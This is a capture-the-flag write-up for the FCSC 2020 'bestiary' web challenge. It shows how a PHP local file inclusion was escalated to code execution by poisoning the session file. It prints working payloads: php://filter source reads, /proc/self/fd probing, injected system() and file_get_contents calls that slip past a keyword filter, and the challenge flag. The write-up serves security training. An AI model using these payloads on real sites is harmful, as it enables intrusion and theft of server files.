FCSC 2020 - bestiary (web)
Web - bestiary
This challenge was initially giving 200
points but with dynamic scoring it scored 100
at the end. There is at least two ways to do it and the first one is the one I exploited and I think it’s a bit unattended.
So browsing the app show us that we can choose a file to display thanks to a GET
parameter in url by providing a monster name.
It really looks like a local file inclusion
, we can check it out quickly
Right in the feels ! For LFI
I have my personal wordlist I can test through Burp Intruder. I’m gonna grep on Failed opening
as this string is returned when the file cannot be opened and thus does not exist or we don’t have rights to read it.
Sadly I didn’t kept the output but there was only files without interest in our case like /etc/hostname
and more. But one it shown be a very interesting file
/proc/self/fd/10
Which contained
monster|s:4:"lich";
I didn’t really paid attention at the moment, I thought it was a PHP serialized object
and it was static value. The other file descriptor (I usually bruteforce between 0 and 100) gave nothing.
While exploiting LFI you should definitively check for the fd files they can contain very sensitive informations as it’s a reference to all the file opened by the application.
Then I tried to fetch the source code of the file with the famous php wrapper filter
http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=php://filter/convert.base64-encode/resource=index.php
and got the following code
<?php
session_save_path("./sessions/");
session_start();
include_once('flag.php');
?>
<html>
<head>
<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
var monster = document.getElementById("monster").value;
document.location.href = "index.php?monster="+monster;
}
</script>
<p>
<?php
$monster = NULL;
if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
$monster = $_SESSION['monster'];
if(isset($_GET['monster']) && !empty($_GET['monster']))
{
$monster = $_GET['monster'];
$_SESSION['monster'] = $monster;
}
if($monster !== NULL && strpos($monster, "flag") === False)
include($monster);
else
echo "Select a monster to read his description.";
?>
</p>
<select id="monster">
<option value="beholder">Beholder</option>
<option value="displacer_beast">Displacer Beast</option>
<option value="mimic">Mimic</option>
<option value="rust_monster">Rust Monster</option>
<option value="gelatinous_cube">Gelatinous Cube</option>
<option value="owlbear">Owlbear</option>
<option value="lich">Lich</option>
<option value="the_drow">The Drow</option>
<option value="mind_flayer">Mind Flayer</option>
<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>
So there is flag.php
however we can’t include it as the following line check if the string flag
is provided
I didn’t find a logic or juggling flaw and accepted I just couldn’t use flag
in my payload
there are bash tricks like
fl$*ag
but this won’t work inside phpinclude
exploitation with file descriptor inclusion
After some test I went back to including /proc/fd/10
and saw this
The data displayed is not static, it seems to be the value of the last attempt, which was php://filter/convert.base64-encode/resource=index.php
for me at this moment.
Immediately I wanted to know if php would be processed and yes it was !
In a browser visit :
http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3C%3Fphp%20echo%201300%20%2B%2012%3B%20%3F%3E
Which is <?php echo 1300 + 12; ?>
url encoded. And then simply hit
view-source:http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=/proc/self/fd/10
<html>
<head>
<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
var monster = document.getElementById("monster").value;
document.location.href = "index.php?monster="+monster;
}
</script>
<p>
monster|s:24:"1312";</p>
<select id="monster">
<option value="beholder">Beholder</option>
<option value="displacer_beast">Displacer Beast</option>
<option value="mimic">Mimic</option>
<option value="rust_monster">Rust Monster</option>
<option value="gelatinous_cube">Gelatinous Cube</option>
<option value="owlbear">Owlbear</option>
<option value="lich">Lich</option>
<option value="the_drow">The Drow</option>
<option value="mind_flayer">Mind Flayer</option>
<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>
As you see our php has been processed monster|s:24:"1312";
So I quickly went to this payload
<?php system('cat $(echo "ZmxhZy5waHAK" | base64 -d)'); ?>
// $(echo "ZmxhZy5waHAK" | base64 -d) => flag.php
So now hit (and run)
http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%24%28%65%63%68%6f%20%22%5a%6d%78%68%5a%79%35%77%61%48%41%4b%22%20%7c%20%62%61%73%65%36%34%20%2d%64%29%27%29%3b%20%3f%3e
<html>
<head>
<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
var monster = document.getElementById("monster").value;
document.location.href = "index.php?monster="+monster;
}
</script>
<p>
monster|s:58:"<br />
<b>Warning</b>: system() has been disabled for security reasons in <b>/var/www/html/sessions/sess_c794ad4408a5ea7139e2765a575d4d53</b> on line <b>1</b><br />
";</p>
<select id="monster">
<option value="beholder">Beholder</option>
<option value="displacer_beast">Displacer Beast</option>
<option value="mimic">Mimic</option>
<option value="rust_monster">Rust Monster</option>
<option value="gelatinous_cube">Gelatinous Cube</option>
<option value="owlbear">Owlbear</option>
<option value="lich">Lich</option>
<option value="the_drow">The Drow</option>
<option value="mind_flayer">Mind Flayer</option>
<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>
A flag should be displayed but at the time where I’m writing this post It seems that the organizer patched the challenge and have disabled exec
family functions.
Never mind, here is the flag : FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}
exploitation with php session
If you paid attention to details you without doubt saw these lines in the source code
This means that the sessions are stored in the directory of the application, making it available for us to a know path.
We can get it with monster=./sessions/sess_PHPSESSID_VALUE
. So as the first technic you first browse with your payload.
http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3C?php%20echo%20base64_encode(file_get_contents(%27fl%27.%27ag.php%27));?%3E
//echo base64_encode(file_get_contens("fla"."g.php"));
And then browse
http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=./sessions/sess_c794ad4408a5ea7139e2765a575d4d53
<html>
<head>
<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
var monster = document.getElementById("monster").value;
document.location.href = "index.php?monster="+monster;
}
</script>
<p>
monster|s:61:"PD9waHAKCSRmbGFnPSJGQ1NDezgzZjVkMGQxYTNjOWM4MmRhMjgyOTk0ZTM0OGVmNDk5NDllYTQ5NzdjNTI2NjM0OTYwZjQ0YjAzODA3ODU2MjJ9IjsK";</p>
<select id="monster">
<option value="beholder">Beholder</option>
<option value="displacer_beast">Displacer Beast</option>
<option value="mimic">Mimic</option>
<option value="rust_monster">Rust Monster</option>
<option value="gelatinous_cube">Gelatinous Cube</option>
<option value="owlbear">Owlbear</option>
<option value="lich">Lich</option>
<option value="the_drow">The Drow</option>
<option value="mind_flayer">Mind Flayer</option>
<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>
The flag is the base64 encoded data.